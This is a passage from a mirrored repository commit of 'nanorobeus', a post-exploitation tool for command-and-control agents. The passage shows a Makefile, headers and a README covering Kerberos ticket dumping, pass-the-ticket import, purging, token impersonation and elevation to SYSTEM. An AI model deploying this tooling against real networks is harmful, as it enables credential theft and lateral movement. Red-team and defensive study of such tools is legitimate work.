mirror of
https://github.com/wavvs/nanorobeus
synced 2026-06-08 18:08:34 +00:00
Initial commit
This commit is contained in:
@@ -0,0 +1 @@
|
||||
.vscode
|
||||
@@ -0,0 +1,26 @@
|
||||
BOFNAME := nanorobeus
|
||||
CC_x64 := x86_64-w64-mingw32-gcc
|
||||
CC_x86 := i686-w64-mingw32-gcc
|
||||
STRIP := strip
|
||||
OPTIONS := -O3 -masm=intel -Wall -I include -l advapi32 -l secur32
|
||||
|
||||
nanorobeus:
|
||||
$(CC_x64) source/base64.c source/common.c source/klist.c source/luid.c source/ptt.c source/purge.c \
|
||||
source/sessions.c source/entry.c -o dist/$(BOFNAME).x64.exe $(OPTIONS)
|
||||
$(STRIP) --strip-all dist/$(BOFNAME).x64.exe
|
||||
|
||||
$(CC_x86) source/base64.c source/common.c source/klist.c source/luid.c source/ptt.c source/purge.c \
|
||||
source/sessions.c source/entry.c -o dist/$(BOFNAME).x86.exe $(OPTIONS)
|
||||
$(STRIP) --strip-all dist/$(BOFNAME).x86.exe
|
||||
|
||||
$(CC_x64) -c source/entry.c -o dist/$(BOFNAME).x64.o -DBOF $(OPTIONS)
|
||||
$(STRIP) --strip-unneeded dist/$(BOFNAME).x64.o
|
||||
|
||||
$(CC_x86) -c source/entry.c -o dist/$(BOFNAME).x86.o -DBOF $(OPTIONS)
|
||||
$(STRIP) --strip-unneeded dist/$(BOFNAME).x86.o
|
||||
|
||||
$(CC_x64) -c source/entry.c -o dist/$(BOFNAME)_brc4.x64.o -DBRC4 $(OPTIONS)
|
||||
$(STRIP) --strip-unneeded dist/$(BOFNAME)_brc4.x64.o
|
||||
|
||||
$(CC_x86) -c source/entry.c -o dist/$(BOFNAME)_brc4.x86.o -DBRC4 $(OPTIONS)
|
||||
$(STRIP) --strip-unneeded dist/$(BOFNAME)_brc4.x86.o
|
||||
@@ -0,0 +1,117 @@
|
||||
# Nanorobeus
|
||||
COFF file (BOF) for managing Kerberos tickets.
|
||||
|
||||
## Supported agents
|
||||
* [Sliver](https://github.com/BishopFox/sliver)
|
||||
* [Brute Ratel](https://bruteratel.com)
|
||||
|
||||
## Commands
|
||||
|
||||
**luid** - get current logon ID
|
||||
|
||||
**sessions** *[/luid <0x0>| /all]* - get logon sessions
|
||||
|
||||
**klist** *[/luid <0x0> | /all]* - list Kerberos tickets
|
||||
|
||||
**dump** *[/luid <0x0> | /all]* - dump Kerberos tickets
|
||||
|
||||
**ptt** *\<base64\> [/luid <0x0>]* - import Kerberos ticket into a logon session
|
||||
|
||||
**purge** [/luid <0x0>] - purge Kerberos tickets
|
||||
|
||||
## Examples
|
||||
Get current logon ID.
|
||||
```
|
||||
=> nanorobeus64 luid
|
||||
|
||||
[+] Current LogonId: 0:0x19ea88e
|
||||
```
|
||||
Get detailed information about the current logon session.
|
||||
```
|
||||
=> nanorobeus64 sessions
|
||||
|
||||
UserName : User
|
||||
Domain : FORTRESS
|
||||
LogonId : 0:0x19ea88e
|
||||
Session : 2
|
||||
UserSID : S-1-5-21-1768674056-2740991423-664180583-1105
|
||||
Authentication package : Kerberos
|
||||
LogonType : Interactive
|
||||
LogonTime (UTC) : 2/7/2022 19:22:43
|
||||
LogonServer : SERVER
|
||||
LogonServerDNSDomain : FORTRESS.LOCAL
|
||||
UserPrincipalName : user@fortress.local
|
||||
```
|
||||
List Kerberos tickets for the current logon session. When elevated, use `/all` to list tickets from all of the sessions or `/luid 0x0` to list tickets in a specified logon session.
|
||||
```
|
||||
=> nanorobeus64 klist
|
||||
|
||||
UserName : User
|
||||
Domain : FORTRESS
|
||||
LogonId : 0:0x19ea88e
|
||||
Session : 2
|
||||
UserSID : S-1-5-21-1768674056-2740991423-664180583-1105
|
||||
Authentication package : Kerberos
|
||||
LogonType : Interactive
|
||||
LogonTime (UTC) : 2/7/2022 19:22:43
|
||||
LogonServer : SERVER
|
||||
LogonServerDNSDomain : FORTRESS.LOCAL
|
||||
UserPrincipalName : user@fortress.local
|
||||
|
||||
[*] Cached tickets: (6)
|
||||
|
||||
[0]
|
||||
Client name : User @ FORTRESS.LOCAL
|
||||
Server name : krbtgt/FORTRESS.LOCAL @ FORTRESS.LOCAL
|
||||
Start time : 2/7/2022 19:22:44 (UTC)
|
||||
End time : 3/7/2022 5:22:43 (UTC)
|
||||
Renew time : 9/7/2022 19:22:43 (UTC)
|
||||
Flags : forwardable, forwarded, renewable, pre_authent, name_canonicalize (0x60a10000)
|
||||
Encryption type : AES256_CTS_HMAC_SHA1
|
||||
...(snip)...
|
||||
```
|
||||
Dump tickets from the current logon session. When elevated, use `/all` to dump tickets from all of the sessions or `/luid 0x0` to dump tickets from a specified logon session.
|
||||
```
|
||||
=> nanorobeus64 dump
|
||||
|
||||
UserName : User
|
||||
Domain : FORTRESS
|
||||
LogonId : 0:0x19ea88e
|
||||
Session : 2
|
||||
UserSID : S-1-5-21-1768674056-2740991423-664180583-1105
|
||||
Authentication package : Kerberos
|
||||
LogonType : Interactive
|
||||
LogonTime (UTC) : 2/7/2022 19:22:43
|
||||
LogonServer : SERVER
|
||||
LogonServerDNSDomain : FORTRESS.LOCAL
|
||||
UserPrincipalName : user@fortress.local
|
||||
|
||||
[*] Cached tickets: (6)
|
||||
|
||||
[0]
|
||||
Client name : User @ FORTRESS.LOCAL
|
||||
Server name : krbtgt/FORTRESS.LOCAL @ FORTRESS.LOCAL
|
||||
Start time : 2/7/2022 19:22:44 (UTC)
|
||||
End time : 3/7/2022 5:22:43 (UTC)
|
||||
Renew time : 9/7/2022 19:22:43 (UTC)
|
||||
Flags : forwardable, forwarded, renewable, pre_authent, name_canonicalize (0x60a10000)
|
||||
Encryption type : AES256_CTS_HMAC_SHA1
|
||||
Ticket : doIFFjCCBRKgAwIBBaEDAgEWooIEGTCCBBVhggQRMIIEDaADAg...(snip)...
|
||||
```
|
||||
Import a ticket into the current logon session. When elevated, use `/luid 0x0` to import the ticket into a specified logon session.
|
||||
```
|
||||
=> make_token network fortress.local test pass
|
||||
=> nanorobeus64 ptt doIFqjCCBaagAwIB...snip...
|
||||
|
||||
[+] Ticket successfully imported.
|
||||
```
|
||||
Purge all Kerberos tickets from the current logon session. When elevated, use `/luid 0x0` to purge the tickets from a specified logon session.
|
||||
```
|
||||
=> nanorobeus64 purge
|
||||
|
||||
[+] Successfully purged tickets.
|
||||
```
|
||||
|
||||
## Credits
|
||||
* Rubeus - https://github.com/GhostPack/Rubeus
|
||||
* mimikatz - https://github.com/gentilkiwi/mimikatz
|
||||
@@ -0,0 +1,2 @@
|
||||
*
|
||||
!.gitignore
|
||||
@@ -0,0 +1,88 @@
|
||||
/*
|
||||
* Copyright (c) 2003 Apple Computer, Inc. All rights reserved.
|
||||
*
|
||||
* @APPLE_LICENSE_HEADER_START@
|
||||
*
|
||||
* Copyright (c) 1999-2003 Apple Computer, Inc. All Rights Reserved.
|
||||
*
|
||||
* This file contains Original Code and/or Modifications of Original Code
|
||||
* as defined in and that are subject to the Apple Public Source License
|
||||
* Version 2.0 (the 'License'). You may not use this file except in
|
||||
* compliance with the License. Please obtain a copy of the License at
|
||||
* http://www.opensource.apple.com/apsl/ and read it before using this
|
||||
* file.
|
||||
*
|
||||
* The Original Code and all software distributed under the License are
|
||||
* distributed on an 'AS IS' basis, WITHOUT WARRANTY OF ANY KIND, EITHER
|
||||
* EXPRESS OR IMPLIED, AND APPLE HEREBY DISCLAIMS ALL SUCH WARRANTIES,
|
||||
* INCLUDING WITHOUT LIMITATION, ANY WARRANTIES OF MERCHANTABILITY,
|
||||
* FITNESS FOR A PARTICULAR PURPOSE, QUIET ENJOYMENT OR NON-INFRINGEMENT.
|
||||
* Please see the License for the specific language governing rights and
|
||||
* limitations under the License.
|
||||
*
|
||||
* @APPLE_LICENSE_HEADER_END@
|
||||
*/
|
||||
/* ====================================================================
|
||||
* Copyright (c) 1995-1999 The Apache Group. All rights reserved.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions
|
||||
* are met:
|
||||
*
|
||||
* 1. Redistributions of source code must retain the above copyright
|
||||
* notice, this list of conditions and the following disclaimer.
|
||||
*
|
||||
* 2. Redistributions in binary form must reproduce the above copyright
|
||||
* notice, this list of conditions and the following disclaimer in
|
||||
* the documentation and/or other materials provided with the
|
||||
* distribution.
|
||||
*
|
||||
* 3. All advertising materials mentioning features or use of this
|
||||
* software must display the following acknowledgment:
|
||||
* "This product includes software developed by the Apache Group
|
||||
* for use in the Apache HTTP server project (http://www.apache.org/)."
|
||||
*
|
||||
* 4. The names "Apache Server" and "Apache Group" must not be used to
|
||||
* endorse or promote products derived from this software without
|
||||
* prior written permission. For written permission, please contact
|
||||
* apache@apache.org.
|
||||
*
|
||||
* 5. Products derived from this software may not be called "Apache"
|
||||
* nor may "Apache" appear in their names without prior written
|
||||
* permission of the Apache Group.
|
||||
*
|
||||
* 6. Redistributions of any form whatsoever must retain the following
|
||||
* acknowledgment:
|
||||
* "This product includes software developed by the Apache Group
|
||||
* for use in the Apache HTTP server project (http://www.apache.org/)."
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE APACHE GROUP ``AS IS'' AND ANY
|
||||
* EXPRESSED OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
|
||||
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
|
||||
* PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE APACHE GROUP OR
|
||||
* ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
|
||||
* SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
|
||||
* NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
|
||||
* LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
|
||||
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,
|
||||
* STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
|
||||
* ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED
|
||||
* OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
* ====================================================================
|
||||
*
|
||||
* This software consists of voluntary contributions made by many
|
||||
* individuals on behalf of the Apache Group and was originally based
|
||||
* on public domain software written at the National Center for
|
||||
* Supercomputing Applications, University of Illinois, Urbana-Champaign.
|
||||
* For more information on the Apache Group and the Apache HTTP server
|
||||
* project, please see <http://www.apache.org/>.
|
||||
*
|
||||
*/
|
||||
|
||||
#pragma once
|
||||
|
||||
int Base64encode_len(int len);
|
||||
int Base64encode(char* coded_dst, const char* plain_src, int len_plain_src);
|
||||
|
||||
int Base64decode_len(const char* coded_src);
|
||||
int Base64decode(char* plain_dst, const char* coded_src);
|
||||
@@ -0,0 +1,81 @@
|
||||
#pragma once
|
||||
/* data API */
|
||||
#include <windows.h>
|
||||
#ifdef BOF
|
||||
typedef struct {
|
||||
char *original; /* the original buffer [so we can free it] */
|
||||
char *buffer; /* current pointer into our buffer */
|
||||
int length; /* remaining length of data */
|
||||
int size; /* total size of this buffer */
|
||||
} datap;
|
||||
|
||||
DECLSPEC_IMPORT void BeaconDataParse(datap *parser, char *buffer, int size);
|
||||
DECLSPEC_IMPORT int BeaconDataInt(datap *parser);
|
||||
DECLSPEC_IMPORT short BeaconDataShort(datap *parser);
|
||||
DECLSPEC_IMPORT int BeaconDataLength(datap *parser);
|
||||
DECLSPEC_IMPORT char *BeaconDataExtract(datap *parser, int *size);
|
||||
|
||||
/* format API */
|
||||
typedef struct {
|
||||
char *original; /* the original buffer [so we can free it] */
|
||||
char *buffer; /* current pointer into our buffer */
|
||||
int length; /* remaining length of data */
|
||||
int size; /* total size of this buffer */
|
||||
} formatp;
|
||||
|
||||
DECLSPEC_IMPORT void BeaconFormatAlloc(formatp *format, int maxsz);
|
||||
DECLSPEC_IMPORT void BeaconFormatReset(formatp *format);
|
||||
DECLSPEC_IMPORT void BeaconFormatFree(formatp *format);
|
||||
DECLSPEC_IMPORT void BeaconFormatAppend(formatp *format, char *text, int len);
|
||||
DECLSPEC_IMPORT void BeaconFormatPrintf(formatp *format, char *fmt, ...);
|
||||
DECLSPEC_IMPORT char *BeaconFormatToString(formatp *format, int *size);
|
||||
DECLSPEC_IMPORT void BeaconFormatInt(formatp *format, int value);
|
||||
|
||||
/* Output Functions */
|
||||
#define CALLBACK_OUTPUT 0x0
|
||||
#define CALLBACK_OUTPUT_OEM 0x1e
|
||||
#define CALLBACK_ERROR 0x0d
|
||||
#define CALLBACK_OUTPUT_UTF8 0x20
|
||||
|
||||
DECLSPEC_IMPORT void BeaconPrintf(int type, char *fmt, ...);
|
||||
DECLSPEC_IMPORT void BeaconOutput(int type, char *data, int len);
|
||||
|
||||
/* Token Functions */
|
||||
DECLSPEC_IMPORT BOOL BeaconUseToken(HANDLE token);
|
||||
DECLSPEC_IMPORT void BeaconRevertToken();
|
||||
DECLSPEC_IMPORT BOOL BeaconIsAdmin();
|
||||
|
||||
/* Spawn+Inject Functions */
|
||||
DECLSPEC_IMPORT void BeaconGetSpawnTo(BOOL x86, char *buffer, int length);
|
||||
DECLSPEC_IMPORT void BeaconInjectProcess(HANDLE hProc, int pid, char *payload, int p_len, int p_offset, char *arg,
|
||||
int a_len);
|
||||
DECLSPEC_IMPORT void BeaconInjectTemporaryProcess(PROCESS_INFORMATION *pInfo, char *payload, int p_len, int p_offset,
|
||||
char *arg, int a_len);
|
||||
DECLSPEC_IMPORT void BeaconCleanupProcess(PROCESS_INFORMATION *pInfo);
|
||||
|
||||
/* Utility Functions */
|
||||
DECLSPEC_IMPORT BOOL toWideChar(char *src, wchar_t *dst, int max);
|
||||
|
||||
#define PRINT(dispatch, ...) \
|
||||
{ BeaconPrintf(CALLBACK_OUTPUT, __VA_ARGS__); }
|
||||
#elif BRC4
|
||||
DECLSPEC_IMPORT int BadgerDispatch(WCHAR **dispatch, const char *__format, ...);
|
||||
DECLSPEC_IMPORT int BadgerDispatchW(WCHAR **dispatch, const WCHAR *__format, ...);
|
||||
DECLSPEC_IMPORT size_t BadgerStrlen(CHAR *buf);
|
||||
DECLSPEC_IMPORT size_t BadgerWcslen(WCHAR *buf);
|
||||
|
||||
DECLSPEC_IMPORT void *BadgerMemcpy(void *dest, const void *src, size_t len);
|
||||
DECLSPEC_IMPORT void *BadgerMemset(void *dest, int val, size_t len);
|
||||
|
||||
DECLSPEC_IMPORT int BadgerStrcmp(const char *p1, const char *p2);
|
||||
DECLSPEC_IMPORT int BadgerWcscmp(const wchar_t *s1, const wchar_t *s2);
|
||||
DECLSPEC_IMPORT int BadgerAtoi(char *string);
|
||||
|
||||
#define PRINT(dispatch, ...) \
|
||||
{ BadgerDispatch(dispatch, __VA_ARGS__); }
|
||||
#else
|
||||
|
||||
#define PRINT(dispatch, ...) \
|
||||
{ fprintf(stdout, __VA_ARGS__); }
|
||||
|
||||
#endif
|
||||
@@ -0,0 +1,123 @@
|
||||
#pragma once
|
||||
|
||||
#include <windows.h>
|
||||
#include <ntsecapi.h>
|
||||
#include <sddl.h>
|
||||
#include <tlhelp32.h>
|
||||
#include <stdio.h>
|
||||
|
||||
#if defined(BOF) || defined(BRC4)
|
||||
|
||||
// kernel32
|
||||
WINBASEAPI HANDLE WINAPI KERNEL32$GetCurrentProcess(VOID);
|
||||
WINBASEAPI DWORD WINAPI KERNEL32$GetLastError(VOID);
|
||||
WINBASEAPI int WINAPI KERNEL32$FileTimeToSystemTime(CONST FILETIME* lpFileTime, LPSYSTEMTIME lpSystemTime);
|
||||
WINBASEAPI HANDLE WINAPI KERNEL32$CreateToolhelp32Snapshot(DWORD dwFlags, DWORD th32ProcessID);
|
||||
WINBASEAPI WINBOOL WINAPI KERNEL32$Process32FirstW(HANDLE hSnapshot, LPPROCESSENTRY32W lppe);
|
||||
WINBASEAPI WINBOOL WINAPI KERNEL32$Process32NextW(HANDLE hSnapshot, LPPROCESSENTRY32W lppe);
|
||||
WINBASEAPI WINBOOL WINAPI KERNEL32$CloseHandle(HANDLE hObject);
|
||||
WINBASEAPI HANDLE WINAPI KERNEL32$OpenProcess(DWORD dwDesiredAccess, WINBOOL bInheritHandle, DWORD dwProcessId);
|
||||
WINBASEAPI HANDLE WINAPI KERNEL32$GetCurrentThread();
|
||||
|
||||
// msvcrt
|
||||
WINBASEAPI int __cdecl MSVCRT$strcmp(const char* _Str1, const char* _Str2);
|
||||
WINBASEAPI size_t __cdecl MSVCRT$wcslen(const wchar_t* _Str);
|
||||
WINBASEAPI size_t __cdecl MSVCRT$strlen(const char* _Str);
|
||||
WINBASEAPI size_t __cdecl MSVCRT$wcstombs(char* mbstr, const wchar_t* wcstr, size_t count);
|
||||
WINBASEAPI long __cdecl MSVCRT$strtol(const char* string, char** end_ptr, int base);
|
||||
WINBASEAPI int __cdecl MSVCRT$wcscmp(const wchar_t* string1, const wchar_t* string2);
|
||||
WINBASEAPI void* __cdecl MSVCRT$malloc(size_t size);
|
||||
WINBASEAPI void* __cdecl MSVCRT$calloc(size_t num, size_t size);
|
||||
WINBASEAPI void __cdecl MSVCRT$free(void* memblock);
|
||||
WINBASEAPI void* __cdecl MSVCRT$memcpy(void* __restrict__ _Dst, const void* __restrict__ _Src, size_t _MaxCount);
|
||||
WINBASEAPI void __cdecl MSVCRT$memset(void* dest, int c, size_t count);
|
||||
|
||||
// advapi32
|
||||
WINADVAPI WINBOOL WINAPI ADVAPI32$OpenProcessToken(HANDLE ProcessHandle, DWORD DesiredAccess, PHANDLE TokenHandle);
|
||||
WINADVAPI WINBOOL WINAPI ADVAPI32$GetTokenInformation(HANDLE TokenHandle, TOKEN_INFORMATION_CLASS TokenInformationClass,
|
||||
LPVOID TokenInformation, DWORD TokenInformationLength,
|
||||
PDWORD ReturnLength);
|
||||
WINADVAPI WINBOOL WINAPI ADVAPI32$ConvertSidToStringSidW(PSID Sid, LPWSTR* StringSid);
|
||||
WINADVAPI WINBOOL WINAPI ADVAPI32$AllocateAndInitializeSid(PSID_IDENTIFIER_AUTHORITY pIdentifierAuthority,
|
||||
BYTE nSubAuthorityCount, DWORD nSubAuthority0,
|
||||
DWORD nSubAuthority1, DWORD nSubAuthority2,
|
||||
DWORD nSubAuthority3, DWORD nSubAuthority4,
|
||||
DWORD nSubAuthority5, DWORD nSubAuthority6,
|
||||
DWORD nSubAuthority7, PSID* pSid);
|
||||
WINADVAPI WINBOOL WINAPI ADVAPI32$EqualSid(PSID pSid1, PSID pSid2);
|
||||
WINADVAPI PVOID WINAPI ADVAPI32$FreeSid(PSID pSid);
|
||||
WINADVAPI WINBOOL WINAPI ADVAPI32$DuplicateToken(HANDLE ExistingTokenHandle,
|
||||
SECURITY_IMPERSONATION_LEVEL ImpersonationLevel,
|
||||
PHANDLE DuplicateTokenHandle);
|
||||
WINADVAPI WINBOOL WINAPI ADVAPI32$ImpersonateLoggedOnUser(HANDLE hToken);
|
||||
WINADVAPI WINBOOL WINAPI ADVAPI32$LookupPrivilegeValueA(LPCSTR lpSystemName, LPCSTR lpName, PLUID lpLuid);
|
||||
WINADVAPI WINBOOL WINAPI ADVAPI32$AdjustTokenPrivileges(HANDLE TokenHandle, BOOL DisableAllPrivileges,
|
||||
PTOKEN_PRIVILEGES NewState, DWORD BufferLength,
|
||||
PTOKEN_PRIVILEGES PreviousState, PDWORD ReturnLength);
|
||||
WINADVAPI ULONG WINAPI ADVAPI32$LsaNtStatusToWinError(NTSTATUS Status);
|
||||
WINADVAPI WINBOOL WINAPI ADVAPI32$RevertToSelf();
|
||||
WINADVAPI WINBOOL WINAPI ADVAPI32$OpenThreadToken(HANDLE ThreadHandle, DWORD DesiredAccess, BOOL OpenAsSelf,
|
||||
PHANDLE TokenHandle);
|
||||
|
||||
// secur32
|
||||
WINBASEAPI NTSTATUS WINAPI SECUR32$LsaGetLogonSessionData(PLUID LogonId,
|
||||
PSECURITY_LOGON_SESSION_DATA* ppLogonSessionData);
|
||||
WINBASEAPI NTSTATUS WINAPI SECUR32$LsaFreeReturnBuffer(PVOID Buffer);
|
||||
WINBASEAPI NTSTATUS WINAPI SECUR32$LsaEnumerateLogonSessions(PULONG LogonSessionCount, PLUID* LogonSessionList);
|
||||
WINBASEAPI NTSTATUS WINAPI SECUR32$LsaRegisterLogonProcess(PLSA_STRING LogonProcessName, PHANDLE LsaHandle,
|
||||
PLSA_OPERATIONAL_MODE SecurityMode);
|
||||
WINBASEAPI NTSTATUS WINAPI SECUR32$LsaLookupAuthenticationPackage(HANDLE LsaHandle, PLSA_STRING PackageName,
|
||||
PULONG AuthenticationPackage);
|
||||
WINBASEAPI NTSTATUS WINAPI SECUR32$LsaCallAuthenticationPackage(HANDLE LsaHandle, ULONG AuthenticationPackage,
|
||||
PVOID ProtocolSubmitBuffer, ULONG SubmitBufferLength,
|
||||
PVOID* ProtocolReturnBuffer, PULONG ReturnBufferLength,
|
||||
PNTSTATUS ProtocolStatus);
|
||||
WINBASEAPI NTSTATUS WINAPI SECUR32$LsaDeregisterLogonProcess(HANDLE LsaHandle);
|
||||
WINBASEAPI NTSTATUS WINAPI SECUR32$LsaConnectUntrusted(PHANDLE LsaHandle);
|
||||
#else
|
||||
|
||||
#define KERNEL32$GetCurrentProcess GetCurrentProcess
|
||||
#define KERNEL32$GetLastError GetLastError
|
||||
#define KERNEL32$FileTimeToSystemTime FileTimeToSystemTime
|
||||
#define KERNEL32$CreateToolhelp32Snapshot CreateToolhelp32Snapshot
|
||||
#define KERNEL32$Process32FirstW Process32FirstW
|
||||
#define KERNEL32$Process32NextW Process32NextW
|
||||
#define KERNEL32$CloseHandle CloseHandle
|
||||
#define KERNEL32$OpenProcess OpenProcess
|
||||
#define KERNEL32$GetCurrentThread GetCurrentThread
|
||||
|
||||
#define MSVCRT$strcmp strcmp
|
||||
#define MSVCRT$wcslen wcslen
|
||||
#define MSVCRT$strlen strlen
|
||||
#define MSVCRT$wcstombs wcstombs
|
||||
#define MSVCRT$wcscmp wcscmp
|
||||
#define MSVCRT$strtol strtol
|
||||
#define MSVCRT$malloc malloc
|
||||
#define MSVCRT$calloc calloc
|
||||
#define MSVCRT$free free
|
||||
#define MSVCRT$memcpy memcpy
|
||||
#define MSVCRT$memset memset
|
||||
|
||||
#define ADVAPI32$OpenProcessToken OpenProcessToken
|
||||
#define ADVAPI32$GetTokenInformation GetTokenInformation
|
||||
#define ADVAPI32$ConvertSidToStringSidW ConvertSidToStringSidW
|
||||
#define ADVAPI32$AllocateAndInitializeSid AllocateAndInitializeSid
|
||||
#define ADVAPI32$EqualSid EqualSid
|
||||
#define ADVAPI32$FreeSid FreeSid
|
||||
#define ADVAPI32$DuplicateToken DuplicateToken
|
||||
#define ADVAPI32$ImpersonateLoggedOnUser ImpersonateLoggedOnUser
|
||||
#define ADVAPI32$LookupPrivilegeValueA LookupPrivilegeValueA
|
||||
#define ADVAPI32$AdjustTokenPrivileges AdjustTokenPrivileges
|
||||
#define ADVAPI32$LsaNtStatusToWinError LsaNtStatusToWinError
|
||||
#define ADVAPI32$RevertToSelf RevertToSelf
|
||||
#define ADVAPI32$OpenThreadToken OpenThreadToken
|
||||
|
||||
#define SECUR32$LsaGetLogonSessionData LsaGetLogonSessionData
|
||||
#define SECUR32$LsaFreeReturnBuffer LsaFreeReturnBuffer
|
||||
#define SECUR32$LsaEnumerateLogonSessions LsaEnumerateLogonSessions
|
||||
#define SECUR32$LsaRegisterLogonProcess LsaRegisterLogonProcess
|
||||
#define SECUR32$LsaLookupAuthenticationPackage LsaLookupAuthenticationPackage
|
||||
#define SECUR32$LsaCallAuthenticationPackage LsaCallAuthenticationPackage
|
||||
#define SECUR32$LsaDeregisterLogonProcess LsaDeregisterLogonProcess
|
||||
#define SECUR32$LsaConnectUntrusted LsaConnectUntrusted
|
||||
#endif
|
||||
@@ -0,0 +1,51 @@
|
||||
#pragma once
|
||||
|
||||
#include <windows.h>
|
||||
#include <ntsecapi.h>
|
||||
#include <stdlib.h>
|
||||
#include <tlhelp32.h>
|
||||
#include "beacon.h"
|
||||
#include "bofdefs.h"
|
||||
|
||||
#define STATUS_SUCCESS ((NTSTATUS)0x00000000L)
|
||||
#define STATUS_MEMORY_NOT_ALLOCATED ((NTSTATUS)0xC00000A0L)
|
||||
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) == 0)
|
||||
|
||||
typedef struct _LOGON_SESSION_DATA {
|
||||
PSECURITY_LOGON_SESSION_DATA* sessionData;
|
||||
ULONG sessionCount;
|
||||
} LOGON_SESSION_DATA, PLOGON_SESSION_DATA;
|
||||
|
||||
enum KERB_ETYPE {
|
||||
DES_CBC_CRC = 1,
|
||||
DES_CBC_MD4 = 2,
|
||||
DES_CBC_MD5 = 3,
|
||||
DES3_CBC_MD5 = 5,
|
||||
DES3_CBC_SHA1 = 7,
|
||||
DSAWITHSHA1_CMSOID = 9,
|
||||
MD5WITHRSAENCRYPTION_CMSOID = 10,
|
||||
SHA1WITHRSAENCRYPTION_CMSOID = 11,
|
||||
RC2CBC_ENVOID = 12,
|
||||
RSAENCRYPTION_ENVOID = 13,
|
||||
RSAES_OAEP_ENV_OID = 14,
|
||||
DES3_CBC_SHA1_KD = 16,
|
||||
AES128_CTS_HMAC_SHA1 = 17,
|
||||
AES256_CTS_HMAC_SHA1 = 18,
|
||||
RC4_HMAC = 23,
|
||||
RC4_HMAC_EXP = 24,
|
||||
SUBKEY_KEYMATERIAL = 65,
|
||||
OLD_EXP = -135
|
||||
};
|
||||
|
||||
HANDLE GetCurrentToken(DWORD DesiredAccess);
|
||||
char* GetEncryptionTypeString(LONG encType);
|
||||
SYSTEMTIME ConvertToSystemtime(LARGE_INTEGER li);
|
||||
BOOL IsHighIntegrity(HANDLE TokenHandle);
|
||||
BOOL IsSystem(HANDLE TokenHandle);
|
||||
NTSTATUS GetLsaHandle(HANDLE hProcessToken, BOOL highIntegrity, HANDLE* hLsa);
|
||||
int GetProcessIdByName(WCHAR* processName);
|
||||
BOOL ElevateToSystem();
|
||||
// BOOL SetPrivilege(HANDLE hToken, LPCTSTR lpszPrivilege, BOOL
|
||||
// bEnablePrivilege);
|
||||
char* GetNarrowString(WCHAR* src);
|
||||
char* GetNarrowStringFromUnicode(UNICODE_STRING src);
|
||||
@@ -0,0 +1,14 @@
|
||||
#pragma once
|
||||
|
||||
#include <windows.h>
|
||||
#include <ntsecapi.h>
|
||||
#include "base64.h"
|
||||
#include "common.h"
|
||||
#include "sessions.h"
|
||||
|
||||
void execute_klist(WCHAR** dispatch, HANDLE hToken, LUID luid, BOOL currentLuid, BOOL dump);
|
||||
void EnumerateTickets(LUID*, BOOL, HANDLE);
|
||||
NTSTATUS ExtractTicket(HANDLE hLsa, ULONG authPackage, LUID luid, UNICODE_STRING targetName, PUCHAR* ticket,
|
||||
PULONG ticketSize);
|
||||
void PrintTicketInfo(WCHAR** dispatch, KERB_TICKET_CACHE_INFO_EX cacheInfo);
|
||||
void PrintTicketFlags(WCHAR** dispatch, ULONG ticketFlags);
|
||||
@@ -0,0 +1,7 @@
|
||||
#pragma once
|
||||
|
||||
#include <windows.h>
|
||||
#include "common.h"
|
||||
|
||||
void execute_luid(WCHAR** dispatch, HANDLE hToken);
|
||||
LUID* GetCurrentLUID(HANDLE TokenHandle);
|
||||
@@ -0,0 +1,7 @@
|
||||
#pragma once
|
||||
|
||||
#include <windows.h>
|
||||
#include "common.h"
|
||||
#include "base64.h"
|
||||
|
||||
void execute_ptt(WCHAR** dispatch, HANDLE hToken, char* ticket, LUID luid, BOOL currentLuid);
|
||||
@@ -0,0 +1,7 @@
|
||||
#pragma once
|
||||
|
||||
#include <windows.h>
|
||||
#include <ntsecapi.h>
|
||||
#include "common.h"
|
||||
|
||||
void execute_purge(WCHAR** dispatch, HANDLE hToken, LUID luid, BOOL currentLuid);
|
||||
@@ -0,0 +1,11 @@
|
||||
#pragma once
|
||||
|
||||
#include <windows.h>
|
||||
#include "bofdefs.h"
|
||||
#include "common.h"
|
||||
#include "luid.h"
|
||||
|
||||
void execute_sessions(WCHAR** dispatch, HANDLE hToken, LUID luid, BOOL currentLuid);
|
||||
NTSTATUS GetLogonSessionData(LUID luid, LOGON_SESSION_DATA* data);
|
||||
char* GetLogonTypeString(ULONG uLogonType);
|
||||
void PrintLogonSessionData(WCHAR** dispatch, SECURITY_LOGON_SESSION_DATA data);
|
||||
@@ -0,0 +1,24 @@
|
||||
{
|
||||
"register_obj": {
|
||||
"nanorobeus64": {
|
||||
"arch": "x64",
|
||||
"artifact": "WINAPI",
|
||||
"description": "Badger Object File for managing Kerberos tickets",
|
||||
"example": "nanorobeus64 help",
|
||||
"file_path": "server_confs/bofs/nanorobeus_brc4.x64.o",
|
||||
"mainArgs": "NA",
|
||||
"minimumArgCount": 1,
|
||||
"optionalArg": "NA"
|
||||
},
|
||||
"nanorobeus86": {
|
||||
"arch": "x86",
|
||||
"artifact": "WINAPI",
|
||||
"description": "Badger Object File for managing Kerberos tickets",
|
||||
"example": "nanorobeus86 help",
|
||||
"file_path": "server_confs/bofs/nanorobeus_brc4.x86.o",
|
||||
"mainArgs": "NA",
|
||||
"minimumArgCount": 1,
|
||||
"optionalArg": "NA"
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,56 @@
|
||||
{
|
||||
"name": "nanorobeus",
|
||||
"version": "0.0.1",
|
||||
"command_name": "nanorobeus",
|
||||
"extension_author": "wavvs",
|
||||
"original_author": "wavvs",
|
||||
"repo_url": "https://github.com/wavvs/nanorobeus",
|
||||
"help": "Beacon Object File for managing Kerberos tickets",
|
||||
"long_help": "",
|
||||
